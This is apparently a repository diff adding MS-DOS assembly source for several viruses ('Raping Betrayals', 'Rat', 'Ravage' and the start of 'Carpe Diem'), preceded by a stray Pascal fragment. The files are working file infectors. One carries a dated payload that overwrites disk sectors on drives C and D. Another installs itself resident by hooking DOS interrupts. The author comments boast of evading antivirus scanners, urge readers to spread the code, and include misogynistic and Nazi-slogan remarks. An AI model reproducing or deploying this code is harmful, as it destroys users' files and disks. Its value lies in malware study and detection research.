ELse
|
||||
begin
|
||||
TheList.last^.link:=TempNode; {point last NODE to new node}
|
||||
TheList.last :=TempNode; {point list END to new node}
|
||||
end;
|
||||
end;
|
||||
procedure KillList(var theLIst: listTYPE);
|
||||
var dummy,
|
||||
hold: NodePtr;
|
||||
begin
|
||||
dummy:=thelist.first;
|
||||
while dummy<nil do begin
|
||||
thelist.First:=thelist.first^.link;
|
||||
dispose(dummy);
|
||||
dummy:=Thelist.first;
|
||||
end;
|
||||
end;
|
||||
begin
|
||||
end.
|
340
MSDOS/Virus.MSDOS.Unknown.rapbetr.asm
Normal file
340
MSDOS/Virus.MSDOS.Unknown.rapbetr.asm
Normal file
@ -0,0 +1,340 @@
|
||||
; VirusName: Raping Betrayals
|
||||
; Country : Sweden
|
||||
; Author : The Unforgiven / Immortal Riot
|
||||
; Date : 15/09/1993
|
||||
;
|
||||
;
|
||||
; This is an mutation of Misery from Immortal Riot.
|
||||
; I mutated this one, cuz Mcafee scan grabbed it
|
||||
; within one month after we released it. So, now
|
||||
; "Misery" is called "Raping Betrayls". Many
|
||||
; thanks to PCM2 for the original Leprosy virus.
|
||||
;
|
||||
; Okey..In this version I just changed the new
|
||||
; Mcafee "Scan-String", by remarking some calls.
|
||||
; I also added a day checker, and if the
|
||||
; virus (or a infected file) is run at the 10:th
|
||||
; any month, procedure "ellie" will go off..
|
||||
; Ellie is some sort of heart breaker!..<..hehe..>
|
||||
;
|
||||
; It copies itself into other exe/com files on the current
|
||||
; drive. The file-size will not be changed, cuz it just
|
||||
; replaces the code in the beginning with itselves. The
|
||||
; infected files will not work, instead the virus will
|
||||
; run again. The virus uses dot-dot metod for changing dirs.
|
||||
;
|
||||
; There has been many mutations born from Leprosy,
|
||||
; and here we give you yet another contribution...
|
||||
;
|
||||
; McaFee Scan v108 can't find it, neither can S&S Toolkit 6.54
|
||||
; Havn't tried with TBScan/F-prot, but they will probably
|
||||
; identify it as "Leprosy".
|
||||
;
|
||||
; Regards : The Unforgiven / Immortal Riot
|
||||
|
||||
Title Raping Betrayals ; By The Unforgiven / Immortal Riot
|
||||
|
||||
cr equ 13 ; Carriage return ASCII code
|
||||
lf equ 10 ; Linefeed ASCII code
|
||||
tab equ 9 ; Tab ASCII code
|
||||
virus_size equ 664 ; Size of the virus file
|
||||
code_start equ 100h ; Address right after PSP in memory
|
||||
dta equ 80h ; Addr of default disk transfer area
|
||||
datestamp equ 24 ; Offset in DTA of file's date stamp
|
||||
timestamp equ 22 ; Offset in DTA of file's time stamp
|
||||
filename equ 30 ; Offset in DTA of ASCIIZ filename
|
||||
attribute equ 21 ; Offset in DTA of file attribute
|
||||
|
||||
|
||||
code segment 'code' ; Open code segment
|
||||
assume cs:code,ds:code ; One segment for both code & data
|
||||
org code_start ; Start code image after PSP
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; All executable code is contained in boundaries of procedure "main".
|
||||
; The following code, until the start of "virus_code", is the non-
|
||||
; encrypted CMT portion of the code to load up the real program.
|
||||
; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
main proc near ; Code execution begins here
|
||||
|
||||
call encrypt_decrypt ; Decrypt the real virus code
|
||||
jmp random_mutation ; Put the virus into action
|
||||
encrypt_val db 00h ; Hold value to encrypt by here
|
||||
|
||||
; Ä-ÄÄÄ--ÄÄ- Encrypt, save, and restore the virus code ÄÄÄ--ÄÄ--Ä-ÄÄ
|
||||
infect_file:
|
||||
mov bx,handle ; Get the handle
|
||||
push bx ; Save it on the stack
|
||||
|
||||
; call encrypt_decrypt ; Encrypt most of the code
|
||||
pop bx ; Get back the handle
|
||||
mov dx,code_start ; Buffer where code starts in memory
|
||||
mov cx,virus_size ; Total number of bytes to write
|
||||
|
||||
mov ah,40h ; DOS write-to-handle service
|
||||
int 21h ; Write the virus code into the file
|
||||
; call encrypt_decrypt ; Restore the code as it was
|
||||
call daycheck ; Call function who check's for day.
|
||||
ret ; Go back to where you came from
|
||||
|
||||
; ÄÄ-ÄÄÄÄ-ÄÄ Encrypt or decrypt the virus code ; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄ-Ä
|
||||
|
||||
encrypt_decrypt:
|
||||
mov bx,offset virus_code ; Get address to start
|
||||
; encrypt/decrypt
|
||||
xor_loop: ; Start cycle here
|
||||
mov ah,[bx] ; Get the current byte
|
||||
xor al,encrypt_val ; En/dis-engage XOR scheme on it
|
||||
mov [bx],ah ; Put it back where we got it
|
||||
inc bx ; Move BX ahead a byte
|
||||
cmp bx,offset virus_code+virus_size ; Are we at the end?
|
||||
jle xor_loop ; If not, do another cycle
|
||||
ret ; and go back where we came from
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄ---ÄÄÄÄÄ--ÄÄÄ--ÄÄÄ--ÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ----ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; The rest of the code from here on remains encrypted until run-time,
|
||||
; using a fundamental XOR technique that changes via CMT.
|
||||
; ÄÄ-ÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄ--ÄÄÄ---ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--Ä-Ä-ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
virus_code:
|
||||
|
||||
; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄ--ÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; "All strings are kept here in the file, and automatically encrypted"
|
||||
; Okey..Thanks to Cybernetic Mutation Technology(tm), for this, but
|
||||
; the virus is pretty un-use-less if Mcafee scan catch is so, I
|
||||
; changed a few calls, and you can have phun with this again...
|
||||
; ÄÄ-ÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ-Ä--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
exe_filespec db "*.EXE",0 ; To infect EXE's
|
||||
com_filespec db "*.COM",0 ; To infect COM's
|
||||
newdir db "..",0 ; Move up one directory
|
||||
; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Fake_msg is the message that will be printed on the screen, after
|
||||
; it has infected files (or when a infected file is run).
|
||||
; ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ---ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
fake_msg db cr,lf,"Program too big to fit in memory$"
|
||||
virus_msg1 db cr,lf,tab,"Betrayal is a sin, if it comes from another..$"
|
||||
db " The Unforgiven / Immortal Riot " ; HUmm..that's me..
|
||||
db " Dedicated to Ellie! - Lurve you! "; Love ya Ellie!
|
||||
db " Sweden 15/09/93 " ; written..
|
||||
; ÄÄ-ÄÄÄÄÄÄÄ----ÄÄÄ-ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Okey..these messages just are just "file-size out-fillers" or something,
|
||||
; nothing important..so I remarked them, and the virus is a bit smaller...
|
||||
; also check in prodedure "Exit_virus" for more info about ‚m..
|
||||
|
||||
;virus_msg2 db cr,lf,tab," Something was placed here before.. $"
|
||||
;virus_msg3 db cr,lf,tab," But now, it's all gone, black, sad $"
|
||||
;virus_msg4 db cr,lf,tab," and empty. Empty places i my mind, $"
|
||||
;virus_msg5 db cr,lf,tab," heart, life, and soul, yes, it's a sin. $"
|
||||
; ÄÄ-ÄÄÄÄÄÄÄÄ---ÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
compare_buf db 20 dup (?) ; Buffer to compare files in
|
||||
files_found db ?
|
||||
files_infected db ?
|
||||
orig_time dw ?
|
||||
orig_date dw ?
|
||||
orig_attr dw ?
|
||||
handle dw ?
|
||||
success db ?
|
||||
|
||||
random_mutation: ; First decide if virus is to mutate
|
||||
mov ah,2ch ; Set up DOS function to get time
|
||||
int 21h
|
||||
cmp encrypt_val,0 ; Is this a first-run virus copy?
|
||||
je install_val ; If so, install whatever you get.
|
||||
cmp dh,15 ; Is it less than 16 seconds?
|
||||
jg find_extension ; If not, don't mutate this time
|
||||
install_val:
|
||||
cmp dl,0 ; Will we be encrypting using zero?
|
||||
je random_mutation ; If so, get a new value.
|
||||
mov encrypt_val,dl ; Otherwise, save the new value
|
||||
find_extension: ; Locate file w/ valid extension
|
||||
mov files_found,0 ; Count infected files found
|
||||
mov files_infected,4 ; BX counts file infected so far
|
||||
mov success,0
|
||||
find_exe:
|
||||
mov cx,00100111b ; Look for all flat file attribs
|
||||
mov dx,offset exe_filespec ; Check for .EXE extension first
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je find_com ; If not, nothing more to do
|
||||
call find_healthy ; Try to find healthy .EXE
|
||||
find_com:
|
||||
mov cx,00100111b ; Look for all flat file attribs
|
||||
mov dx,offset com_filespec ; Check for .COM extension now
|
||||
mov ah,4eh ; Call DOS find first service
|
||||
int 21h
|
||||
cmp ax,12h ; Are no files found?
|
||||
je chdir ; If not, step back a directory
|
||||
call find_healthy ; Try to find healthy .COM
|
||||
chdir: ; Routine to step back one level
|
||||
mov dx,offset newdir ; Load DX with address of pathname
|
||||
mov ah,3bh ; Change directory DOS service
|
||||
int 21h
|
||||
dec files_infected ; This counts as infecting a file
|
||||
jnz find_exe ; If "yes", find another
|
||||
jmp exit_virus ; Otherwise let's pack it up
|
||||
find_healthy:
|
||||
mov bx,dta ; Point BX to address of DTA
|
||||
mov ax,[bx]+attribute ; Get the current file's attribs
|
||||
mov orig_attr,ax ; Save it
|
||||
mov ax,[bx]+timestamp ; Get current file's time stamp
|
||||
mov orig_time,ax ; Save it
|
||||
mov ax,[bx]+datestamp ; Get current file's data stamp
|
||||
mov orig_date,ax ; Save it
|
||||
mov dx,dta+filename ; Get filename to change attribute
|
||||
mov cx,0 ; Clear all attribute bytes
|
||||
mov al,1 ; Set attribute sub-function
|
||||
mov ah,43h ; Call DOS service to do it
|
||||
int 21h
|
||||
mov al,2 ; Open handle for read/write
|
||||
mov ah,3dh ; Open file handle DOS service
|
||||
int 21h
|
||||
mov handle,ax ; Save the file handle
|
||||
mov bx,ax ; Move the handle to BX for read
|
||||
mov cx,20 ; Read in the top 20 bytes of file
|
||||
mov dx,offset compare_buf ; Use the small buffer up top
|
||||
mov ah,3fh ; DOS read-from-handle service
|
||||
int 21h
|
||||
mov bx,offset compare_buf ; Adjust the encryption value
|
||||
mov ah,encrypt_val ; for accurate comparison
|
||||
mov [bx+6],ah
|
||||
mov si,code_start ; One array to compare is this file
|
||||
mov di,offset compare_buf ; The other array is the buffer
|
||||
mov ax,ds ; Transfer the DS register...
|
||||
mov es,ax ; ...to the ES register
|
||||
cld
|
||||
repe cmpsb ; Compare the buffer to the virus
|
||||
jne healthy ; If different, the file is healthy
|
||||
call close_file ; Close it up otherwise
|
||||
inc files_found ; Chalk up another fucked up file
|
||||
continue_search:
|
||||
mov ah,4fh ; Find next DOS function
|
||||
int 21h ; Try to find another file
|
||||
cmp ax,12h ; Are there any more files?
|
||||
je no_more_found ; If not, get outta here
|
||||
jmp find_healthy ; Try the process on this one
|
||||
no_more_found:
|
||||
ret ; Go back to where we came from
|
||||
healthy:
|
||||
mov bx,handle ; Get the file handle
|
||||
mov ah,3eh ; Close it for now
|
||||
int 21h
|
||||
mov ah,3dh ; Open it again, to reset it
|
||||
mov dx,dta+filename
|
||||
mov al,2
|
||||
int 21h
|
||||
mov handle,ax ; Save the handle again
|
||||
call infect_file ; Infect the healthy file
|
||||
call close_file ; Close down this operation
|
||||
inc success ; Indicate we did something this time
|
||||
dec files_infected ; Scratch off another file on agenda
|
||||
jz exit_virus ; If we're through, terminate
|
||||
jmp continue_search ; Otherwise, try another
|
||||
ret
|
||||
close_file:
|
||||
mov bx,handle ; Get the file handle off the stack
|
||||
mov cx,orig_time ; Get the date stamp
|
||||
mov dx,orig_date ; Get the time stamp
|
||||
mov al,1 ; Set file date/time sub-service
|
||||
mov ah,57h ; Get/Set file date and time service
|
||||
int 21h ; Call DOS
|
||||
mov bx,handle
|
||||
mov ah,3eh ; Close handle DOS service
|
||||
int 21h
|
||||
mov cx,orig_attr ; Get the file's original attribute
|
||||
mov al,1 ; Instruct DOS to put it back there
|
||||
mov dx,dta+filename ; Feed it the filename
|
||||
mov ah,43h ; Call DOS
|
||||
int 21h
|
||||
ret ; Returning to base...
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-Ä--ÄÄÄÄÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; ELLIE:
|
||||
; mov ah,09h ; Read under
|
||||
; mov dx,offset virus_msg1 ; for more
|
||||
; int 21h ; information
|
||||
;
|
||||
; Okey..If it's 10:th (any month), the virus will do something with
|
||||
; your hard-drives (..ellie..) which I finds to be real nasty ! If
|
||||
; you wanna check if the function day-check works, just un-mark
|
||||
; the tree lines under the first "ellie". and the virus_msg1
|
||||
; "Betrayal is a sin, if it comes from another" will be displayed.
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Here is the real "Ellie"..Yeah..that's certainly her!
|
||||
; ÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
ELLIE: ; Here comes the bitch..
|
||||
cli ; Tigh her up!
|
||||
mov ah,2 ; starting with drive C
|
||||
cwd ; starting at sector 0
|
||||
mov cx,0100h ; write 256 sectors
|
||||
int 026h ; to protect and serve..
|
||||
jmp maria ; Next victim is Maria..
|
||||
|
||||
MARIA: ;Yet another..
|
||||
MOV AL,3 ;Set to fry drive D
|
||||
MOV CX,700 ;Set to write 700 sectors
|
||||
MOV DX,00 ;Starting at sector 0
|
||||
MOV DS,[DI+99] ;Put random crap in DS
|
||||
MOV BX,[DI+55] ;More crap in BX
|
||||
CALL ELLIE ;Jump for joy!...
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; If you want Ellie to go off on some special month, just look at procedure
|
||||
; "Infect_file", and the call to daycheck. Change the call to Monthcheck,
|
||||
; and "delete" the ";" on procedure monthcheck. But remember, that makes,
|
||||
; the virus much less destructive, and by that time, all scanners has
|
||||
; probably added a new scan-string on this one. Now it will go off the
|
||||
; 10:th every month. Feel free to modify this as much you want to.
|
||||
|
||||
; MONTHCHECK: ; Procudure to check
|
||||
; mov ah,2ah ; what month it is..
|
||||
; int 21h ; Dos to your service..
|
||||
; cmp dh,06 ; comp dh,06 (July, month 06)
|
||||
; je daycheck ; if month 06, jump to daycheck,
|
||||
; JMP something ; if not, just jump to something..
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
|
||||
Daycheck: ; check what day it is..
|
||||
mov ah,2ah ;
|
||||
int 21h ; Dos to your service..
|
||||
cmp dl,10 ; If it is the 10:th,
|
||||
je ellie ; if yes, have a great fuck..
|
||||
JMP something ; if not..just can tell you how sorry I'm !
|
||||
|
||||
Something: ; Some stupid procedure..but remember..
|
||||
ret ; Arbeit Macht Frei !
|
||||
|
||||
exit_virus:
|
||||
cmp files_found,15 ; Are at least 15 files infected?
|
||||
jl print_fake ; If not, keep a low profile
|
||||
cmp success,0 ; Did we infect anything?
|
||||
jg print_fake ; If so, cover it up
|
||||
mov ah,09h ; Use DOS print string service
|
||||
mov dx,offset virus_msg1 ; Load address of the first line
|
||||
int 21h ; Print it..
|
||||
; mov dx,offset virus_msg2 ; ---
|
||||
; int 21h ; Okey..mess(ages) 2-5 have been
|
||||
; mov dx,offset virus_msg3 ; removed from the code..too bad,
|
||||
; int 21h ; they were Metallica messages...
|
||||
; mov dx,offset virus_msg4 ; ---
|
||||
; int 21h ; Anyway, (ab)use this program, B4
|
||||
; mov dx,offset virus_msg5 ; Mcafee gets a new string for this
|
||||
; int 21h ; ---
|
||||
jmp terminate ; Jump to terminate..
|
||||
|
||||
print_fake:
|
||||
mov ah,09h ; Print fake error message
|
||||
mov dx,offset fake_msg ; Print "fake_msg"
|
||||
int 21h ; Dos to your service..
|
||||
terminate: ; Get ready for quit this program
|
||||
mov ah,4ch ; DOS terminate process function
|
||||
int 21h ; Exit..
|
||||
|
||||
filler db 8 dup (90h) ; Pad out to 666 bytes
|
||||
|
||||
main endp
|
||||
code ends
|
||||
end main
|
||||
|
||||
; Greeting goes out to : Raver, Metal Militia, Scavenver,
|
||||
; and of-cuz to Miss Perfect...ELLIE!
|
127
MSDOS/Virus.MSDOS.Unknown.rat.asm
Normal file
127
MSDOS/Virus.MSDOS.Unknown.rat.asm
Normal file
@ -0,0 +1,127 @@
|
||||
|
||||
PAGE 59,132
|
||||
;*************************************
|
||||
;**The Rat Virus - Overwriting **
|
||||
;** Non-Resident **
|
||||
;** Com File Infector**
|
||||
;** Author: -Ajax- **
|
||||
;** This virus is 92 bytes long **
|
||||
;** Because it is made in 1992 :) **
|
||||
;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
|
||||
;** Pass this unscannable around to **
|
||||
;** Your friends,and tell em McAfee **
|
||||
;** sent ya! **
|
||||
;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
|
||||
;** Underground Asylum-904/688.6494 **
|
||||
;**"Replication Is Our Middle Name!"**
|
||||
;*************************************
|
||||
|
||||
retf macro ret_count ; Fixup for Assembler
|
||||
ifdef ret_count
|
||||
db 0CAh
|
||||
dw ret_count
|
||||
elseif
|
||||
db 0CBh
|
||||
endif
|
||||
endm
|
||||
|
||||
retn macro ret_count
|
||||
ifdef ret_count
|
||||
db 0C2h
|
||||
dw ret_count
|
||||
elseif
|
||||
db 0C3h
|
||||
endif
|
||||
endm
|
||||
|
||||
movseg macro reg16, unused, Imm16 ; Fixup for Assembler
|
||||
ifidn <reg16>, <bx>
|
||||
db 0BBh
|
||||
endif
|
||||
ifidn <reg16>, <cx>
|
||||
db 0B9h
|
||||
endif
|
||||
ifidn <reg16>, <dx>
|
||||
db 0BAh
|
||||
endif
|
||||
ifidn <reg16>, <si>
|
||||
db 0BEh
|
||||
endif
|
||||
ifidn <reg16>, <di>
|
||||
db 0BFh
|
||||
endif
|
||||
ifidn <reg16>, <bp>
|
||||
db 0BDh
|
||||
endif
|
||||
ifidn <reg16>, <sp>
|
||||
db 0BCh
|
||||
endif
|
||||
ifidn <reg16>, <BX>
|
||||
db 0BBH
|
||||
endif
|
||||
ifidn <reg16>, <CX>
|
||||
db 0B9H
|
||||
endif
|
||||
ifidn <reg16>, <DX>
|
||||
db 0BAH
|
||||
endif
|
||||
ifidn <reg16>, <SI>
|
||||
db 0BEH
|
||||
endif
|
||||
ifidn <reg16>, <DI>
|
||||
db 0BFH
|
||||
endif
|
||||
ifidn <reg16>, <BP>
|
||||
db 0BDH
|
||||
endif
|
||||
ifidn <reg16>, <SP>
|
||||
db 0BCH
|
||||
endif
|
||||
dw seg Imm16
|
||||
endm
|
||||
location_file equ 9Eh ; location of file in DTA
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h ; Starting of all .COM files
|
||||
|
||||
rat_virus proc far
|
||||
|
||||
start:
|
||||
mov ah,4Eh ; fixup for making undetectable
|
||||
mov cl,20h ;
|
||||
mov dx,offset all_com_files ;
|
||||
int 21h ;
|
||||
;
|
||||
start_infecting:
|
||||
mov ax,3D01h ;
|
||||
mov dx,Location_file ;
|
||||
int 21h ; Open target file.
|
||||
|
||||
mov bx,ax
|
||||
mov dx,offset ds:[100h] ; Location of file to write.
|
||||
mov cl,5ch ; File size to overwrite.
|
||||
mov ah,40h ;
|
||||
int 21h ; Write to filename in dx
|
||||
;
|
||||
mov ah,3Eh ;
|
||||
int 21h ;
|
||||
;
|
||||
mov ah,4Fh ;
|
||||
int 21h ;
|
||||
;
|
||||
jnc start_infecting ; If more files,keep goin
|
||||
mov ah,09h ;
|
||||
mov dx,offset bbs_ad ; display my bbsad!
|
||||
int 21h
|
||||
int 20h ; get to dos.
|
||||
all_com_files db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h ; data for all com files
|
||||
; in current dir..
|
||||
bbs_ad db 'Underground Asylum BBS - [904]688.6494$'
|
||||
rat_virus endp
|
||||
|
||||
seg_a ends
|
||||
end start
|
||||
|
254
MSDOS/Virus.MSDOS.Unknown.ravage.asm
Normal file
254
MSDOS/Virus.MSDOS.Unknown.ravage.asm
Normal file
@ -0,0 +1,254 @@
|
||||
; Virusname: Ravage
|
||||
; Origin: Sweden
|
||||
; Author: Metal Militia
|
||||
|
||||
; This virus can be found with any anti-virus program, since it's been
|
||||
; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON, that is..)
|
||||
|
||||
; It's a resident .COM and .EXE infector, without any encryption or
|
||||
; stealth capabilities. It infects when you execute (4bh), opens (3dh),
|
||||
; extended open (6ch), and on closing (3eh). This makes it quite a good
|
||||
; infector, but since it doesn't care what files it infects, most of the
|
||||
; AV programs will find themselves makes it quite a good infector, but
|
||||
; any program with selfchecking (95%) will find themself hit.
|
||||
|
||||
; I stopped with this virus since it's so totally buggy that you'll find
|
||||
; it almost at once. This is the reason why i give you the source code.
|
||||
; In my later resident things, there will be such things as encryption,
|
||||
; stealth etc. i think..
|
||||
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
.radix 16
|
||||
.code
|
||||
EXE_ID = -42
|
||||
viruslength = heap - _small
|
||||
startload = 90 * 4
|
||||
|
||||
_small:
|
||||
call relative
|
||||
oldheader dw 020cdh
|
||||
dw 0bh dup (0)
|
||||
relative:
|
||||
pop bp
|
||||
push ds
|
||||
push es
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
mov di,startload
|
||||
cmp word ptr ds:[di+25],di
|
||||
jz exit_small
|
||||
|
||||
lea si,[bp-3]
|
||||
mov cx,viruslength
|
||||
db 2Eh
|
||||
rep movsb
|
||||
|
||||
mov di,offset old21 + startload
|
||||
mov si,21*4
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
pop di
|
||||
mov ax,offset int21 + startload
|
||||
stosw
|
||||
xchg ax,cx
|
||||
stosw
|
||||
|
||||
exit_small:
|
||||
pop es
|
||||
pop ds
|
||||
|
||||
or sp,sp
|
||||
jnp returnCOM
|
||||
returnEXE:
|
||||
mov ax,ds
|
||||
add ax,10
|
||||
add [bp+16],ax
|
||||
add ax,[bp+0e]
|
||||
mov ss,ax
|
||||
mov sp,cs:[bp+10]
|
||||
jmp dword ptr cs:[bp+14]
|
||||
returnCOM:
|
||||
mov di,100
|
||||
push di
|
||||
mov si,bp
|
||||
movsw
|
||||
movsb
|
||||
ret
|
||||
|
||||
infect:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax,4300h
|
||||
int 21h
|
||||
jnc test_it
|
||||
jmp exitinfect
|
||||
|
||||
test_it:
|
||||
test cl,1
|
||||
je ok_2_open
|
||||
and cl,0feh
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
jnc ok_2_open
|
||||
jmp exitinfect
|
||||
|
||||
ok_2_open:
|
||||
mov ax,3d02
|
||||
int 21
|
||||
xchg ax,bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax,5700h
|
||||
int 21h
|
||||
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov si,offset oldheader+startload
|
||||
|
||||
mov ah,3f
|
||||
mov cx,18
|
||||
push cx
|
||||
mov dx,si
|
||||
int 21
|
||||
|
||||
cmp ax,cx
|
||||
jnz go_already_infected
|
||||
|
||||
mov di,offset target + startload
|
||||
push di
|
||||
rep movsb
|
||||
pop di
|
||||
|
||||
mov ax,4202
|
||||
cwd
|
||||
int 21
|
||||
|
||||
cmp ds:[di],'ZM'
|
||||
jz infectEXE
|
||||
cmp ds:[di],'MZ'
|
||||
jz infectEXE
|
||||
|
||||
sub ax,3
|
||||
mov byte ptr ds:[di],0e9
|
||||
mov ds:[di+1],ax
|
||||
|
||||
sub ax,viruslength
|
||||
cmp ds:[si-17],ax
|
||||
jnz finishinfect
|
||||
go_already_infected:
|
||||
pop cx
|
||||
jmp short already_infected
|
||||
|
||||
int21:
|
||||
cmp ax,4b00
|
||||
jz infect
|
||||
cmp ax,3d00
|
||||
jz infect
|
||||
cmp ax,3e00
|
||||
jz some_open
|
||||
cmp ax,6c00
|
||||
jnz not_opening
|
||||
some_open:
|
||||
mov ah,45
|
||||
int 21
|
||||
jmp infect
|
||||
|
||||
not_opening:
|
||||
jmp chain
|
||||
|
||||
infectEXE:
|
||||
cmp word ptr [di+10],EXE_ID
|
||||
jz go_already_infected
|
||||
|
||||
push ax
|
||||
push dx
|
||||
|
||||
add ax,viruslength
|
||||
adc dx,0
|
||||
|
||||
mov cx,200
|
||||
div cx
|
||||
|
||||
or dx,dx
|
||||
jz nohiccup
|
||||
inc ax
|
||||
nohiccup:
|
||||
mov word ptr ds:[di+4],ax
|
||||
mov word ptr ds:[di+2],dx
|
||||
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
mov cx,10
|
||||
div cx
|
||||
|
||||
sub ax,ds:[di+8]
|
||||
|
||||
mov word ptr ds:[di+14],dx
|
||||
mov word ptr ds:[di+16],ax
|
||||
|
||||
mov word ptr ds:[di+0e],ax
|
||||
mov word ptr ds:[di+10],EXE_ID
|
||||
finishinfect:
|
||||
mov cx,viruslength
|
||||
mov ah,40
|
||||
mov dx,startload
|
||||
int 21
|
||||
|
||||
mov ax,4200
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21
|
||||
|
||||
mov ah,40
|
||||
mov dx,di
|
||||
pop cx
|
||||
int 21
|
||||
already_infected:
|
||||
pop dx
|
||||
pop cx
|
||||
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3e
|
||||
int 21
|
||||
jmp exitinfect
|
||||
|
||||
db 'RAVAGE! '
|
||||
db '(c) Metal Militia / Immortal Riot'
|
||||
|
||||
exitinfect:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
chain:
|
||||
db 0ea
|
||||
heap:
|
||||
old21 dw ?, ?
|
||||
target dw 0ch dup (?)
|
||||
|
||||
endheap:
|
||||
end _small
|
292
MSDOS/Virus.MSDOS.Unknown.raver.asm
Normal file
292
MSDOS/Virus.MSDOS.Unknown.raver.asm
Normal file
@ -0,0 +1,292 @@
|
||||
; VirusName : CARPE DIEM! - Seize the day
|
||||
; Origin : Sweden
|
||||
; Author : Raver
|
||||
; Date : 16/11/93
|
||||
|
||||
; Well this is my (Raver's) first scratch virus.
|
||||
; This virus is mainly made for educational purpose (my own!).
|
||||
; It's pretty well commented in an easy way so even you folks
|
||||
; with little experience with assembler should be able to follow
|
||||
; the code!
|
||||
|
||||
; It's a pretty simple non-overwriting .com-infector with a harmless
|
||||
; nuking routine. It clears and restores the file attributes and
|
||||
; date/time stamp and finds and infects files using the dot-dot method.
|
||||
; An encryption routine and some "unusual" instructions are included to
|
||||
; avoid detection by the common virus scanners. At release date, see
|
||||
; above, neither F-prot nor Tb-scan found traces of virus code!
|
||||
|
||||
